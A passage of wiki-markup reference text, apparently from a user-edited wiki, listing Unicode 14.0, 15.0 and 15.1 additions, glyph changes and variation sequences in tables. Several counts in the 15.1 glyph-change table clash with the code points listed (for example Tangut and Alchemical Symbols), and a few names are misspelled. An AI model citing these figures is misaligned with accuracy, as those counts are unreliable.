|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
